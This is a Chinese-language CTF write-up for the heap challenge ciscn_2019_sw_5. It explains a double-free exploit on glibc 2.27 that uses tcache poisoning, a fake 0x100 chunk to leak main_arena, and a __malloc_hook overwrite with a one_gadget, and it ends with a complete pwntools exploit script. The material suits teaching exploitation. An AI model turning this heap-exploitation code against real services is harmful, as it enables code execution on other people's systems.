首先,检查一下程序的保护机制
然后,我们用IDA分析一下,仅两个功能
其中,delete功能只能用3次,delete功能没有清空指针,存在double free漏洞。
Add功能,size不可控,结尾printf可以输出堆内容。
我们可以利用add结尾的printf输出,main_arean地址,那么,我们需要得到unsorted bin才行。由于delete功能仅有3次机会。Glibc版本为2.27,存在tcache,因此,我们先利用2次,构造一个double free,然后分配到tcache 的表头,篡改对应size的chunk count为-1,同时篡改对应0x80的chunk头chunk指针为伪造的chunk地址,由于不知道堆地址,因此,我们需要爆破半个字节。
首先,申请三个堆
1 2 3 4 5 6 7 add('t1' ,'a' ) add('t2' ,'b' ) fake_chunk = 'c' *0x8 + p64(0 ) + p64(0x61 ) add('t3' ,fake_chunk)
由于,我们要在0~2之间伪造一个0x100的chunk,因此,t3的前0x18字节划分给了伪造的chunk,而要想之后成功释放这个伪造的chunk,而不报错,我们还需要把后面剩余的部分修复好,因此,在t3里,我们修复剩余的空间为0x61的chunk。
接下来,double free,然后篡改next指针
1 2 3 4 5 delete(0 ) delete(0 ) add('\x1E\x70' ,'a' )
接下来,第一次申请,申请到0原来的位置,我们开始伪造chunk
#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
1 2 add('t1' ,p64(heap_base + 0x280 ) + p64(heap_base + 0x268 ) + p64(0x101 ) + p64(heap_base + 0x270 ))
我们伪造的chunk如上图,之所以这么伪造,是因为最后一次delete是要用来得到unsorted bin的,首先,当我们申请到0x280处时,0x100的tcache bin头变更为0x270。此时,我们delete掉0x100的伪造chunk后0x280处保留了main_arena地址。接下来我们申请0x270处,tcache bin头变更为0x268,我们填充数据到0x280,然后,就可以泄露出0x280处的main_arena值。接下来,我们申请到0x268,tcache bin头变更为0x280,然后我们从0x268处开始向后写数据,在0x280处写上malloc_hook的地址。此时,tcache链表的布局变成了
0x280——malloc_hook
因此,我们继续申请,就能申请到malloc_hook处,完成利用,十分巧妙。
1 2 3 4 5 6 7 8 9 10 11 payload = '\x00' *0x5A + p64(heap_base + 0x280 ) add('\xFF' ,payload) add('t1' ,'a' ) delete(6 ) add('a' *0x8 ,'a' *0x10 ) sh.recvuntil('a' *0x18 ) main_arena_xx = u64(sh.recv(6 ).ljust(8 ,'\x00' ))
综上,完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) malloc_hook_s = libc.symbols['__malloc_hook' ] one_gadget_s = 0x10a38c def add (title,content ): sh.sendlineafter('>>' ,'1' ) sh.sendafter('title:' ,title) sh.sendafter('content:' ,content) def delete (index ): sh.sendlineafter('>>' ,'2' ) sh.sendlineafter('index:' ,str (index)) def exploit (): add('t1' ,'a' ) add('t2' ,'b' ) fake_chunk = 'c' *0x8 + p64(0 ) + p64(0x61 ) add('t3' ,fake_chunk) delete(0 ) delete(0 ) add('\x1E\x70' ,'a' ) sh.recvuntil('\n' ) heap_base = u64(sh.recv(6 ).ljust(8 ,'\x00' )) & (0xFFFFFFFFFFFFFF00 ) print 'heap_base=' ,hex (heap_base) add('t1' ,p64(heap_base + 0x280 ) + p64(heap_base + 0x268 ) + p64(0x101 ) + p64(heap_base + 0x270 )) payload = '\x00' *0x5A + p64(heap_base + 0x280 ) add('\xFF' ,payload) add('t1' ,'a' ) delete(6 ) add('a' *0x8 ,'a' *0x10 ) sh.recvuntil('a' *0x18 ) main_arena_xx = u64(sh.recv(6 ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s if libc_base >> 40 != 0x7F : raise Exception('error leak!' ) one_gadget_addr = libc_base + one_gadget_s print 'libc_base=' ,hex (libc_base) print 'malloc_hook_addr=' ,hex (malloc_hook_addr) print 'one_gadget_addr=' ,hex (one_gadget_addr) add('a' ,'a' *0x10 + p64(malloc_hook_addr)) add('a' ,'a' ) add(p64(one_gadget_addr),'\x00' ) sh.sendlineafter('>>' ,'1' ) while True : try : global sh sh = process('./ciscn_2019_sw_5' ) exploit() sh.interactive() except : sh.close() print 'trying...'